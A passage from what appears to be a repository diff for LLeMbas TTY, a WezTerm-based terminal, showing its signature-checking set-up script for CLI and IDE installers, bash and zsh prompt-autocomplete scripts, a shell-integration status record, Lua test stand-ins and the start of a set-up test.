NAMESPACE=lembas-release
CLI_SLUG=LLeMbas/LLeMbas-CLI
IDE_SLUG=LLeMbas/LLeMbas-IDE
YES=0
DRY=0
WANT_CLI=1
WANT_IDE=1
CHANNEL=""
TMP=""
say() { printf '%s\n' "$*"; }
note() { printf ' %s\n' "$*"; }
warn() { printf 'llembas-tty-setup: %s\n' "$*" >&2; }
die() {
warn "$*"
exit 1
}
cleanup() {
local status=$?
trap - EXIT
[ -z "$TMP" ] || rm -rf "$TMP"
exit "$status"
}
# Started by the terminal in a pane of its own, the pane closes with this program: wait for a
# key first, so that what was said can be read.
pause() {
[ -n "${LLEMBAS_TTY_PANE:-}" ] && [ "$YES" != 1 ] && [ -r /dev/tty ] || return 0
printf '\nPress Enter to close. ' >/dev/tty
read -r _ </dev/tty || true
}
# The channel of this terminal unless one was named: a beta terminal installs betas.
channel() {
if [ -n "$CHANNEL" ]; then
printf '%s' "$CHANNEL"
return
fi
case "${LLEMBAS_TTY:-}" in *-*) printf beta ;; *) printf stable ;; esac
}
# A program on PATH, or where both installers put theirs.
have() {
command -v "$1" 2>/dev/null && return 0
[ -x "$HOME/.local/bin/$1" ] && printf '%s\n' "$HOME/.local/bin/$1" && return 0
return 1
}
ask() { # question; answers yes with --yes, no where nobody can answer
[ "$YES" = 1 ] && return 0
[ -r /dev/tty ] || return 1
local answer
printf '%s [Y/n] ' "$1" >/dev/tty
read -r answer </dev/tty || return 1
case "$answer" in "" | y | Y | yes | Yes) return 0 ;; *) return 1 ;; esac
}
fetch() { # url, file — https only, or a file on this machine
case "$1" in
https://* | file:///*) ;;
*) die "refusing to download $1: only https:// (or a local file://) is used" ;;
esac
curl -fsSL --retry 2 --proto '=https,file' --proto-redir '=https' -o "$2" "$1"
}
# The newest release tag of a repository on a channel: vX.Y.Z, and on beta also vX.Y.Z-beta.N.
newest() { # slug, channel
local slug="$1" chan="$2" list="$TMP/releases.json" tag url
url="$API/repos/$slug/releases"
# A listing kept as a file (a mirror on this machine) has no query to answer.
case "$API" in file://*) ;; *) url="$url?per_page=50" ;; esac
fetch "$url" "$list" 2>/dev/null || return 1
# One "tag_name" a release, newest first; a draft has none that is published.
while IFS= read -r tag; do
case "$chan" in
beta) [[ "$tag" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-beta\.[0-9]+)?$ ]] && printf '%s' "$tag" && return 0 ;;
*) [[ "$tag" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]] && printf '%s' "$tag" && return 0 ;;
esac
done < <(grep -o '"tag_name"[[:space:]]*:[[:space:]]*"[^"]*"' "$list" | sed -E 's/.*"([^"]*)"$/\1/')
return 1
}
# A release's installer, checked: SHA256SUMS signed by the release key, the installer in it.
checked_installer() { # slug, tag, installer file name -> path of the checked file
local slug="$1" tag="$2" name="$3" dir base
dir="$TMP/$(printf '%s' "$slug-$tag" | tr '/' '-')"
base="$FORGE/$slug/releases/download/$tag"
mkdir -p "$dir"
command -v ssh-keygen >/dev/null 2>&1 || die "needs ssh-keygen (openssh-client): it checks the release's signature"
command -v sha256sum >/dev/null 2>&1 || die "needs sha256sum: it checks what was downloaded"
fetch "$base/SHA256SUMS" "$dir/SHA256SUMS" || die "could not download SHA256SUMS of $slug $tag — nothing installed"
fetch "$base/SHA256SUMS.sig" "$dir/SHA256SUMS.sig" 2>/dev/null || die "$slug $tag is not signed (no SHA256SUMS.sig) — nothing installed"
fetch "$base/$name" "$dir/$name" || die "could not download $name of $slug $tag — nothing installed"
printf '%s %s\n' "$NAMESPACE" "$PUBKEY" >"$dir/allowed"
ssh-keygen -Y verify -f "$dir/allowed" -I "$NAMESPACE" -n "$NAMESPACE" -s "$dir/SHA256SUMS.sig" <"$dir/SHA256SUMS" >/dev/null 2>&1 ||
die "SHA256SUMS of $slug $tag is not signed by the LLeMbas release key — nothing installed"
(cd "$dir" && grep -E "^[0-9a-f]{64} \*?$name\$" SHA256SUMS | sed 's/ \*/ /' | sha256sum -c --strict --quiet - >/dev/null 2>&1) ||
die "$name of $slug $tag does not match its SHA256SUMS — nothing installed"
printf '%s' "$dir/$name"
}
setup_cli() {
local at tag chan installer
if at="$(have lembas)"; then
note "the LLeMbas CLI is installed: $at ($("$at" --version 2>/dev/null | head -n1 || echo "version unknown"))"
return 0
fi
chan="$(channel)"
say "The LLeMbas CLI (lembas) is not installed."
if [ "$DRY" = 1 ]; then
note "would find the newest $chan release of $CLI_SLUG, check its get.sh against the release key, and run it"
note "it installs for this user only, into ~/.local/bin and ~/.local/share/lembas"
return 0
fi
ask "Install it now, for this user only?" || {
note "left out"
return 0
}
tag="$(newest "$CLI_SLUG" "$chan")" || die "no $chan release of $CLI_SLUG was found (is this machine online?) — nothing installed"
installer="$(checked_installer "$CLI_SLUG" "$tag" get.sh)"
note "LLeMbas CLI $tag: signature good, installing"
LEMBAS_REF="$tag" LEMBAS_CHANNEL="$chan" bash "$installer" || die "the LLeMbas CLI's installer stopped — see above"
}
setup_ide() {
local at tag chan installer
if at="$(have llembas-ide)"; then
note "LLeMbas IDE is installed: $at"
return 0
fi
chan="$(channel)"
say "LLeMbas IDE (llembas-ide, the editor) is not installed."
if [ "$DRY" = 1 ]; then
note "would find the newest $chan release of $IDE_SLUG, check its install.sh against the release key, and run it"
note "it installs for this user only, under its own name: your own Neovim is not touched"
return 0
fi
ask "Install it now, for this user only?" || {
note "left out"
return 0
}
tag="$(newest "$IDE_SLUG" "$chan")" || die "no $chan release of $IDE_SLUG was found (is this machine online?) — nothing installed"
installer="$(checked_installer "$IDE_SLUG" "$tag" install.sh)"
note "LLeMbas IDE $tag: signature good, installing"
# --no-cli: the CLI is this program's own step above.
bash "$installer" --version "${tag#v}" --channel "$chan" --no-cli --yes || die "LLeMbas IDE's installer stopped — see above"
}
main() {
trap cleanup EXIT
while [ $# -gt 0 ]; do
case "$1" in
--yes) YES=1 ;;
--dry-run) DRY=1 ;;
--no-cli) WANT_CLI=0 ;;
--no-ide) WANT_IDE=0 ;;
--channel)
CHANNEL="${2:?--channel needs stable or beta}"
shift
;;
-h | --help)
sed -n '2,12p' "$0" | sed 's/^# \{0,1\}//'
return 0
;;
*) die "unknown option $1 (see --help)" ;;
esac
shift
done
case "$(channel)" in stable | beta) ;; *) die "--channel is stable or beta" ;; esac
[ "$DRY" = 1 ] || TMP="$(mktemp -d)"
say "LLeMbas TTY set-up ($(channel) releases)"
[ "$WANT_CLI" != 1 ] || setup_cli
[ "$WANT_IDE" != 1 ] || setup_ide
if [ "$DRY" != 1 ]; then
say ""
if have lembas >/dev/null; then
say "To use LLeMbas, log in to your server once: lembas login <address of your server>"
say "(or the command palette entry \"LLeMbas: log in\")."
fi
# shellcheck disable=SC2088,SC2016 # said to the person as they would type it
case ":$PATH:" in
*":$HOME/.local/bin:"*) ;;
*) [ ! -d "$HOME/.local/bin" ] || say '~/.local/bin is not on your PATH: the terminal finds both programs there anyway; for your shell add export PATH="$HOME/.local/bin:$PATH"' ;;
esac
fi
pause
}
main "$@"
+43
View File
@@ -0,0 +1,43 @@
# shellcheck shell=bash
# LLeMbas TTY: prompt autocomplete for bash, on demand.
#
# bash cannot draw a suggestion after the cursor, so this is a key: press it
# and the rest of the line is asked from LLeMbas and put on the line. Nothing
# runs: you still press Enter yourself.
#
# key: Ctrl+X Ctrl+A (set LLEMBAS_TTY_AUTOCOMPLETE_KEY to a readline key
# sequence before this file is sourced to change it)
#
# Active only inside LLeMbas TTY. Loaded by llembas-tty.sh when autocomplete is
# on, or source this file yourself. The line so far goes to
# `lembas complete --shell bash` on stdin; nothing is sent for an empty line,
# for a line that starts with a space, or when the cursor is not at the end.
if [ -z "${LLEMBAS_TTY-}" ] || [ -z "${BASH_VERSION-}" ]; then
return 0
fi
case "$-" in
*i*) ;;
*) return 0 ;;
esac
__llembas_complete_line() {
local line="$READLINE_LINE" rest cli="${LLEMBAS_TTY_CLI:-lembas}"
[ -n "$line" ] || return 0
case "$line" in
' '* | *$'\n'*) return 0 ;;
esac
[ "$READLINE_POINT" -eq "${#line}" ] || return 0
[ "${#line}" -le 2000 ] || return 0
command -v "$cli" >/dev/null 2>&1 || return 0
rest="$(printf '%s' "$line" | "$cli" complete --shell bash --cwd "$PWD" --timeout-ms 2500 2>/dev/null)" || return 0
# What comes back is a model's text: one line, no control characters, not endless.
rest="${rest%%$'\n'*}"
rest="${rest//[[:cntrl:]]/}"
rest="${rest:0:500}"
[ -n "$rest" ] || return 0
READLINE_LINE="$line$rest"
READLINE_POINT="${#READLINE_LINE}"
}
bind -x "\"${LLEMBAS_TTY_AUTOCOMPLETE_KEY:-\\C-x\\C-a}\": __llembas_complete_line"
+154
View File
@@ -0,0 +1,154 @@
# LLeMbas TTY: prompt autocomplete for zsh, as ghost text.
#
# While you type, the rest of the line is asked from LLeMbas
# (`lembas complete --shell zsh`, the line so far on stdin) and shown dimmed
# after the cursor. Right arrow or End takes it; any other key drops it.
# Nothing runs: you still press Enter yourself.
#
# Active only inside LLeMbas TTY. Loaded by llembas-tty.sh when autocomplete is
# on (LLEMBAS_TTY_AUTOCOMPLETE=1), or source this file yourself.
#
# Nothing is sent: for an empty line, for a line that starts with a space, for
# a line of several lines, when the cursor is not at the end, or before you
# have paused typing (LLEMBAS_TTY_AUTOCOMPLETE_DELAY, hundredths of a second,
# default 35). A request still running when you type again is stopped.
#
# The request runs beside the line editor (a process substitution watched
# with `zle -F`), so typing never waits for it.
[[ -n ${LLEMBAS_TTY-} && -n ${ZSH_VERSION-} && -o interactive ]] || return 0
(( ${+__llembas_ac_loaded} )) && return 0
typeset -g __llembas_ac_loaded=1
zmodload zsh/system 2>/dev/null || return 0
zmodload zsh/zselect 2>/dev/null || return 0
autoload -Uz add-zle-hook-widget add-zsh-hook 2>/dev/null || return 0
typeset -g __llembas_ac_fd= __llembas_ac_pid= __llembas_ac_for= __llembas_ac_seen=
typeset -g __llembas_ac_text= __llembas_ac_hl= __llembas_ac_off=
__llembas_ac_stop() {
if [[ -n $__llembas_ac_fd ]]; then
zle -F $__llembas_ac_fd 2>/dev/null
exec {__llembas_ac_fd}<&-
__llembas_ac_fd=
fi
if [[ -n $__llembas_ac_pid ]]; then
kill -TERM $__llembas_ac_pid 2>/dev/null
__llembas_ac_pid=
fi
}
__llembas_ac_clear() {
if [[ -n $__llembas_ac_text ]]; then
POSTDISPLAY=
__llembas_ac_text=
fi
if [[ -n $__llembas_ac_hl ]]; then
region_highlight=("${(@)region_highlight:#$__llembas_ac_hl}")
__llembas_ac_hl=
fi
}
__llembas_ac_request() {
__llembas_ac_stop
[[ -z $__llembas_ac_off ]] || return 0
local line=$BUFFER cli=${LLEMBAS_TTY_CLI:-lembas}
[[ -n $line && $line != ' '* && $line != *$'\n'* ]] || return 0
(( CURSOR == ${#line} && ${#line} <= 2000 )) || return 0
(( ${+commands[$cli]} )) || [[ -x $cli ]] || return 0
__llembas_ac_for=$line
local delay=${LLEMBAS_TTY_AUTOCOMPLETE_DELAY:-35} dir=$PWD
exec {__llembas_ac_fd}< <(
# our process id first, so that the request can be stopped
print -r -- $sysparams[pid]
# wait for a pause in the typing; a keystroke stops us here
zselect -t $delay
exec $cli complete --shell zsh --cwd $dir --timeout-ms 2500 2>/dev/null < <(print -rn -- $line)
)
# (as zsh-autosuggestions found: without a fork here, Ctrl+C can stop working)
command true
IFS= read -r -u $__llembas_ac_fd __llembas_ac_pid
zle -F $__llembas_ac_fd __llembas_ac_ready
}
__llembas_ac_ready() {
local fd=$1 rest=
if [[ -z ${2-} || ${2-} == hup ]]; then
IFS= read -r -u $fd rest
fi
zle -F $fd 2>/dev/null
exec {fd}<&-
__llembas_ac_fd= __llembas_ac_pid=
# The line editor's variables can only be changed from a widget.
zle __llembas_ac_show -- "$rest"
}
__llembas_ac_show() {
local rest=${1-}
# only for the line it was asked for, still unchanged
[[ $BUFFER == $__llembas_ac_for ]] && (( CURSOR == ${#BUFFER} )) || return 0
# what came back is a model's text: one line, no control characters, not endless
rest=${rest//[[:cntrl:]]/}
rest=${rest[1,500]}
[[ -n $rest ]] || return 0
__llembas_ac_text=$rest
POSTDISPLAY=$rest
__llembas_ac_hl="${#BUFFER} $(( ${#BUFFER} + ${#POSTDISPLAY} )) ${LLEMBAS_TTY_AUTOCOMPLETE_STYLE:-fg=8}"
region_highlight+=("$__llembas_ac_hl")
zle -R
}
# Before each redraw: when the line changed, the suggestion is for another
# line. Drop it and ask again.
__llembas_ac_redraw() {
[[ $BUFFER == $__llembas_ac_seen ]] && return 0
__llembas_ac_seen=$BUFFER
__llembas_ac_clear
__llembas_ac_request
}
__llembas_ac_finish() {
__llembas_ac_stop
__llembas_ac_clear
__llembas_ac_seen=
}
__llembas_ac_take() {
if [[ -n $__llembas_ac_text ]] && (( CURSOR == ${#BUFFER} )); then
local text=$__llembas_ac_text
__llembas_ac_clear
BUFFER+=$text
CURSOR=${#BUFFER}
return 0
fi
return 1
}
__llembas_ac_forward_char() {
__llembas_ac_take || zle .forward-char
}
__llembas_ac_end_of_line() {
__llembas_ac_take || zle .end-of-line
}
# zsh-autosuggestions draws in the same place. With it loaded, ours stays off
# unless asked for by name (LLEMBAS_TTY_AUTOCOMPLETE_FORCE=1).
__llembas_ac_check() {
add-zsh-hook -d precmd __llembas_ac_check
if (( ${+functions[_zsh_autosuggest_start]} )) && [[ ${LLEMBAS_TTY_AUTOCOMPLETE_FORCE-} != 1 ]]; then
__llembas_ac_off=1
print -u2 -r -- "llembas-tty: prompt autocomplete is off because zsh-autosuggestions is loaded (set LLEMBAS_TTY_AUTOCOMPLETE_FORCE=1 to use both)"
fi
}
zle -N __llembas_ac_show
zle -N forward-char __llembas_ac_forward_char
zle -N end-of-line __llembas_ac_end_of_line
add-zle-hook-widget line-pre-redraw __llembas_ac_redraw
add-zle-hook-widget line-finish __llembas_ac_finish
add-zsh-hook precmd __llembas_ac_check
+213
View File
@@ -0,0 +1,213 @@
# shellcheck shell=bash
# LLeMbas TTY: shell integration for bash and zsh.
#
# Sourced from /etc/profile.d by the package; or source it from ~/.bashrc or
# ~/.zshrc (zsh does not read /etc/profile.d on every system):
#
# [ -n "$LLEMBAS_TTY" ] && . /usr/share/llembas-tty/shell/llembas-tty.sh
#
# It does three things, and only inside LLeMbas TTY, only in an interactive shell:
#
# 1. Semantic zones and the working directory (OSC 133, OSC 7), by WezTerm's
# own integration script, shipped beside this file as wezterm.sh. That is
# what lets the terminal tell one command and its output from the next.
# The WEZTERM_SHELL_SKIP_* variables documented in that file apply.
# 2. Prompt autocomplete, when it was turned on (`autocomplete = true` in the
# LLeMbas layer's options exports LLEMBAS_TTY_AUTOCOMPLETE=1). Off by default.
# 3. The pane's status record: at every prompt, and when a command starts, a
# few lines that say where this shell stands - at its prompt or running a
# command, how the last command ended, when, in which directory. It says
# nothing of what the command was. It is how the terminal, and LLeMbas when
# it types a command into this pane for you, know that the command has
# ended. It goes two ways:
# - the file pane-<LLEMBAS_TTY_PANE>.status in the status directory
# ($LLEMBAS_TTY_STATUS_DIR, else $XDG_RUNTIME_DIR/llembas-tty, else
# $XDG_STATE_HOME/llembas-tty), readable by you alone, replaced whole.
# Not in a shell reached over SSH: the file would be on the wrong machine;
# - the user variable llembas_tty_status of the pane (OSC 1337 SetUserVar),
# which reaches the terminal from another machine too.
# LLEMBAS_TTY_SKIP_STATUS=1 turns it off.
#
# The record, a key=value line each:
# llembas-tty-status=1
# id=<this shell: its process id and when it started>
# seq=<up by one at every prompt>
# state=prompt | running
# exit=<status of the command before this prompt; absent before the first>
# ran=1 (at a prompt: a command line ran since the prompt before)
# time=<seconds since the epoch>
# shell=bash | zsh
# pid=<the shell's process id; not over SSH>
# host=<the machine; only over SSH>
# cwd=<the working directory>
if [ -z "${LLEMBAS_TTY-}" ]; then
return 0
fi
# shellcheck disable=SC2166
if [ -z "${BASH_VERSION-}" -a -z "${ZSH_NAME-}" ]; then
return 0
fi
case "$-" in
*i*) ;;
*) return 0 ;;
esac
if [ -n "${ZSH_NAME-}" ]; then
# shellcheck disable=SC2296,SC2298 # zsh: the file being sourced
__llembas_tty_dir="${${(%):-%x}:A:h}"
else
__llembas_tty_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" 2>/dev/null && pwd)"
fi
if [ -n "${LLEMBAS_TTY_SHELL_DIR-}" ]; then
__llembas_tty_dir="$LLEMBAS_TTY_SHELL_DIR"
fi
# Not twice: a WezTerm installed beside us may have loaded the same script.
if ! typeset -f __wezterm_semantic_precmd >/dev/null 2>&1; then
if [ -r "$__llembas_tty_dir/wezterm.sh" ]; then
# shellcheck source=/dev/null
. "$__llembas_tty_dir/wezterm.sh"
fi
fi
if [ "${LLEMBAS_TTY_AUTOCOMPLETE-}" = "1" ]; then
if [ -n "${ZSH_NAME-}" ] && [ -r "$__llembas_tty_dir/autocomplete.zsh" ]; then
# shellcheck source=/dev/null
. "$__llembas_tty_dir/autocomplete.zsh"
elif [ -n "${BASH_VERSION-}" ] && [ -r "$__llembas_tty_dir/autocomplete.bash" ]; then
# shellcheck source=/dev/null
. "$__llembas_tty_dir/autocomplete.bash"
fi
fi
if [ "${LLEMBAS_TTY_SKIP_STATUS-}" != "1" ] && [ -z "${__llembas_tty_seq-}" ]; then
__llembas_tty_seq=0
__llembas_tty_ran=
__llembas_tty_exit=
__llembas_tty_now="${EPOCHSECONDS-}"
[ -n "$__llembas_tty_now" ] || __llembas_tty_now="$(date +%s)"
__llembas_tty_id="$$.$__llembas_tty_now"
if [ -n "${ZSH_NAME-}" ]; then
__llembas_tty_shell=zsh
else
__llembas_tty_shell=bash
fi
# The file, on the terminal's own machine only and for a pane with a number.
__llembas_tty_status_file=
if [ -z "${SSH_CONNECTION-}" ] && [ -z "${SSH_TTY-}" ]; then
case "${LLEMBAS_TTY_PANE-}" in
'' | *[!0-9]*) ;;
*)
case "${LLEMBAS_TTY_STATUS_DIR-}" in
/*) __llembas_tty_status_file="$LLEMBAS_TTY_STATUS_DIR" ;;
*)
case "${XDG_RUNTIME_DIR-}" in
/*) __llembas_tty_status_file="$XDG_RUNTIME_DIR/llembas-tty" ;;
*)
case "${XDG_STATE_HOME-}" in
/*) __llembas_tty_status_file="$XDG_STATE_HOME/llembas-tty" ;;
*) [ -z "${HOME-}" ] || __llembas_tty_status_file="$HOME/.local/state/llembas-tty" ;;
esac
;;
esac
;;
esac
[ -z "$__llembas_tty_status_file" ] || __llembas_tty_status_file="$__llembas_tty_status_file/pane-$LLEMBAS_TTY_PANE.status"
;;
esac
fi
# __llembas_tty_record <state>: write the record both ways. The directory's
# name is cut at a line break: a record is one fact a line.
__llembas_tty_record() {
local now record cwd="${PWD%%$'\n'*}"
now="${EPOCHSECONDS-}"
[ -n "$now" ] || now="$(date +%s)"
record="llembas-tty-status=1
id=$__llembas_tty_id
seq=$__llembas_tty_seq
state=$1"
[ -z "$__llembas_tty_exit" ] || record="$record
exit=$__llembas_tty_exit"
if [ "$1" = prompt ] && [ -n "$__llembas_tty_ran" ]; then
record="$record
ran=1"
fi
record="$record
time=$now
shell=$__llembas_tty_shell"
if [ -n "${SSH_CONNECTION-}" ] || [ -n "${SSH_TTY-}" ]; then
record="$record
host=${HOSTNAME:-${HOST:-unknown}}"
else
record="$record
pid=$$"
fi
record="$record
cwd=${cwd:0:1024}"
if [ -n "$__llembas_tty_status_file" ]; then
# Made beside the file, closed to everybody else, then moved over it:
# a reader sees the old record or the new one, never half of one.
(
umask 077
[ -d "${__llembas_tty_status_file%/*}" ] || mkdir -p "${__llembas_tty_status_file%/*}"
printf '%s\n' "$record" >"$__llembas_tty_status_file.$$" &&
mv -f "$__llembas_tty_status_file.$$" "$__llembas_tty_status_file"
) 2>/dev/null
fi
if command -v base64 >/dev/null 2>&1; then
if [ -z "${TMUX-}" ]; then
printf '\033]1337;SetUserVar=%s=%s\007' llembas_tty_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
else
# shellcheck disable=SC1003 # the backslash that ends tmux's passthrough
printf '\033Ptmux;\033\033]1337;SetUserVar=%s=%s\007\033\\' llembas_tty_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
fi
fi
}
__llembas_tty_preexec() {
__llembas_tty_ran=1
__llembas_tty_record running
}
__llembas_tty_precmd() {
local ret="$?"
__llembas_tty_seq=$((__llembas_tty_seq + 1))
# Before the first prompt no command of this shell has ended.
if [ "$__llembas_tty_seq" -gt 1 ]; then
__llembas_tty_exit="$ret"
fi
__llembas_tty_record prompt
__llembas_tty_ran=
return "$ret"
}
if [ -n "${ZSH_NAME-}" ] || [ -n "${bash_preexec_imported-}" ]; then
# First of the prompt's functions, so that $? is still the command's.
precmd_functions=(__llembas_tty_precmd "${precmd_functions[@]}")
else
PROMPT_COMMAND="__llembas_tty_precmd${PROMPT_COMMAND:+;$PROMPT_COMMAND}"
fi
if [ -n "${ZSH_NAME-}" ]; then
preexec_functions+=(__llembas_tty_preexec)
elif [ "${BASH_VERSINFO[0]}" -gt 4 ] || { [ "${BASH_VERSINFO[0]}" -eq 4 ] && [ "${BASH_VERSINFO[1]}" -ge 4 ]; }; then
# bash 4.4 and newer expand PS0 after every command line that is about to
# run, and never for an empty one. (bash-preexec, which WezTerm's script
# brings, does not see a command line that is all one subshell.) What the
# first expansion prints is the record's user variable; the second prints
# nothing and notes, in this shell, that a command ran.
__llembas_tty_mark=
# shellcheck disable=SC2016 # expanded by bash at each command, not here
PS0="${PS0-}"'$(__llembas_tty_record running)${__llembas_tty_mark:$((__llembas_tty_ran=1,0)):0}'
elif [ -n "${bash_preexec_imported-}" ]; then
preexec_functions+=(__llembas_tty_preexec)
else
# Nothing tells a command from an empty line here: none is said to have run.
:
fi
fi
unset __llembas_tty_dir
true
+240
View File
@@ -0,0 +1,240 @@
-- LLeMbas TTY: a stand-in for the terminal's `wezterm` module, for the tests.
-- It records what the layer asks the terminal to do and does none of it,
-- except chmod, which is run for real so that the file mode can be checked.
local F = {}
function F.new(env)
env = env or {}
local w = {
GLOBAL = {},
target_triple = env.target_triple or 'x86_64-unknown-linux-gnu',
executable_dir = env.executable_dir or '/nonexistent/bin',
home_dir = env.home_dir or '/nonexistent/home',
handlers = {},
logs = {},
spawned = {},
child_results = env.child_results or {},
-- the terminal's own drawing part, when a test gives one (see F.native)
llembas = env.native,
}
-- wezterm.action.Name(args) and wezterm.action.Name { … } give a table
-- that names the action; nothing more is needed to check what was bound.
w.action = setmetatable({}, {
__index = function(_, name)
return function(args)
return { action = name, args = args }
end
end,
})
function w.on(name, fn)
w.handlers[name] = w.handlers[name] or {}
table.insert(w.handlers[name], fn)
end
function w.emit(name, ...)
local result
for _, fn in ipairs(w.handlers[name] or {}) do
result = fn(...)
end
return result
end
function w.log_warn(...)
w.logs[#w.logs + 1] = table.concat({ ... }, ' ')
end
w.log_info = w.log_warn
w.log_error = w.log_warn
function w.config_builder()
return {}
end
function w.format(items)
local out = {}
for _, item in ipairs(items) do
if type(item) == 'table' and item.Text then
out[#out + 1] = item.Text
end
end
return table.concat(out)
end
function w.run_child_process(args)
w.spawned[#w.spawned + 1] = args
if args[1] == 'chmod' then
local ok = os.execute(string.format("chmod %s '%s'", args[2], args[3]))
return ok == true or ok == 0, '', ''
end
local key = table.concat(args, ' ', 2)
local r = w.child_results[key]
if r then
return r[1], r[2], ''
end
return false, '', 'not found'
end
function w.read_dir(dir)
local list = {}
local p = io.popen(string.format("ls -1 '%s' 2>/dev/null", dir))
if p then
for name in p:lines() do
list[#list + 1] = dir .. '/' .. name
end
p:close()
end
return list
end
function w.json_parse(text)
if env.json_parse then
return env.json_parse(text)
end
error 'not json'
end
return w
end
-- The terminal's own part (`wezterm.llembas`), recording what it is asked.
function F.native()
local n = { calls = {} }
for _, name in ipairs { 'ask_line', 'configure', 'notice', 'hint', 'status', 'set_private', 'command_ended', 'clear_history' } do
n[name] = function(...)
n.calls[#n.calls + 1] = { name, ... }
return true
end
end
-- the terminal's side of the autocomplete in words, and its data directory
-- (a test sets n.status_text and n.dir)
function n.complete_status()
return n.status_text or 'engine: none'
end
function n.data_dir()
return n.dir or ''
end
function n.last(name)
for i = #n.calls, 1, -1 do
if n.calls[i][1] == name then
return n.calls[i]
end
end
return nil
end
function n.count(name)
local c = 0
for _, call in ipairs(n.calls) do
if call[1] == name then
c = c + 1
end
end
return c
end
return n
end
-- A pane that records what is sent to it.
function F.pane(spec)
local p = {
id = spec.id or 1,
vars = spec.vars or {},
sent = {},
splits = {},
spec = spec,
}
function p:pane_id()
return self.id
end
function p:get_user_vars()
return self.vars
end
function p:get_metadata()
return spec.metadata
end
function p:is_alt_screen_active()
return spec.alt == true
end
function p:get_semantic_zones()
self.read_zones = true
return spec.zones or {}
end
function p:get_text_from_semantic_zone(zone)
self.read_text = true
return zone.text
end
function p:get_lines_as_text()
self.read_screen = true
return spec.screen or ''
end
function p:get_current_working_dir()
return spec.cwd
end
function p:get_foreground_process_name()
return spec.program
end
function p:get_domain_name()
return spec.domain or 'local'
end
function p:tab()
return spec.tab
end
function p:activate()
self.activated = (self.activated or 0) + 1
end
function p:send_text(text)
self.sent[#self.sent + 1] = { 'text', text }
end
function p:send_paste(text)
self.sent[#self.sent + 1] = { 'paste', text }
end
function p:split(args)
self.splits[#self.splits + 1] = args
local new = F.pane { id = (spec.next_id or 100) + #self.splits }
self.last_split = new
if spec.tab then
table.insert(spec.tab.list, new)
new.spec.tab = spec.tab
end
return new
end
return p
end
function F.tab(panes, id)
local t = { list = panes, id = id or 1 }
function t:panes()
return self.list
end
function t:tab_id()
return self.id
end
for _, p in ipairs(panes) do
p.spec.tab = t
end
return t
end
function F.window(id)
local win = { id = id or 1, actions = {}, status = nil }
function win:window_id()
return self.id
end
function win:perform_action(action, pane)
-- an action that takes nothing is given by its name alone (act.TogglePaneZoomState)
if type(action) == 'function' then
action = action()
end
self.actions[#self.actions + 1] = { action = action, pane = pane }
end
function win:active_pane()
return self.active
end
function win:set_right_status(text)
self.status = text
end
return win
end
return F
File diff suppressed because it is too large. Load diff
+87
View File
@@ -0,0 +1,87 @@
#!/usr/bin/env bash
# The set-up program without a network: what it says when everything is there, what it would do
# when nothing is, and that a release that is not signed by the release key is refused.
#
# llembas/tests/setup-test.sh
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
SETUP="$ROOT/llembas/setup/llembas-tty-setup"
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
failed=0
ok() { echo "ok $1"; }
bad() {
echo "FAIL $1"
[ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=setup::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ')"
failed=1
}
expect() { if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi; }
refuse() { if printf '%s' "$2" | grep -Eq -- "$3"; then bad "$1: found /$3/ in: $2"; else ok "$1"; fi; }
# A home with nothing in it, and only the system's tools on PATH.
run() { # home, then the program's arguments and environment through env
local home="$1"
shift
env -i PATH=/usr/bin:/bin HOME="$home" LANG=C.UTF-8 "$@" </dev/null 2>&1
}
mkdir -p "$work/empty" "$work/full/.local/bin"
printf '#!/bin/sh\necho 2.0.0-beta.18\n' >"$work/full/.local/bin/lembas"
printf '#!/bin/sh\n' >"$work/full/.local/bin/llembas-ide"
chmod +x "$work/full/.local/bin/lembas" "$work/full/.local/bin/llembas-ide"
out="$(run "$work/full" bash "$SETUP" --yes)"
expect "what is installed is found in ~/.local/bin, off PATH" "$out" "the LLeMbas CLI is installed: $work/full/.local/bin/lembas \(2\.0\.0-beta\.18\)"
expect "and LLeMbas IDE" "$out" "LLeMbas IDE is installed: $work/full/.local/bin/llembas-ide"
expect "it says how to log in" "$out" "lembas login"
refuse "and installs nothing" "$out" "installing|would find"
out="$(run "$work/empty" bash "$SETUP" --dry-run)"
expect "dry run: the CLI would be installed" "$out" "LLeMbas CLI \(lembas\) is not installed"
expect "dry run: from the stable releases by default" "$out" "would find the newest stable release of LLeMbas/LLeMbas-CLI"
expect "dry run: the IDE too" "$out" "would find the newest stable release of LLeMbas/LLeMbas-IDE"
if [ -z "$(find "$work/empty" -mindepth 1 | head -n1)" ]; then ok "a dry run writes nothing"; else bad "a dry run wrote: $(find "$work/empty" -mindepth 1 | head)"; fi
out="$(run "$work/empty" LLEMBAS_TTY=1.0.0-beta.3 bash "$SETUP" --dry-run --no-ide)"
expect "a beta terminal asks for the betas" "$out" "newest beta release of LLeMbas/LLeMbas-CLI"
refuse "--no-ide leaves the IDE out" "$out" "LLeMbas-IDE"
out="$(run "$work/empty" bash "$SETUP")"
expect "nobody to answer: nothing is installed" "$out" "left out"
if [ -z "$(find "$work/empty" -mindepth 1 | head -n1)" ]; then ok "and nothing is written"; else bad "written without an answer: $(find "$work/empty" -mindepth 1 | head)"; fi
# A release on this machine: a listing, an installer that would leave a mark, and sums.
rel="$work/forge/LLeMbas/LLeMbas-CLI/releases/download/v9.9.9"
mkdir -p "$rel" "$work/api/repos/LLeMbas/LLeMbas-CLI"
printf '[{"tag_name": "v9.9.9-beta.1", "prerelease": true}, {"tag_name": "v9.9.9", "prerelease": false}]' >"$work/api/repos/LLeMbas/LLeMbas-CLI/releases"
# shellcheck disable=SC2016 # written into the stand-in installer as it is
printf '#!/bin/sh\necho "ran with ref=$LEMBAS_REF" > "$HOME/ran"\n' >"$rel/get.sh"
(cd "$rel" && sha256sum get.sh >SHA256SUMS)
ssh-keygen -q -t ed25519 -N '' -C test -f "$work/key" >/dev/null
ssh-keygen -q -t ed25519 -N '' -C other -f "$work/other" >/dev/null
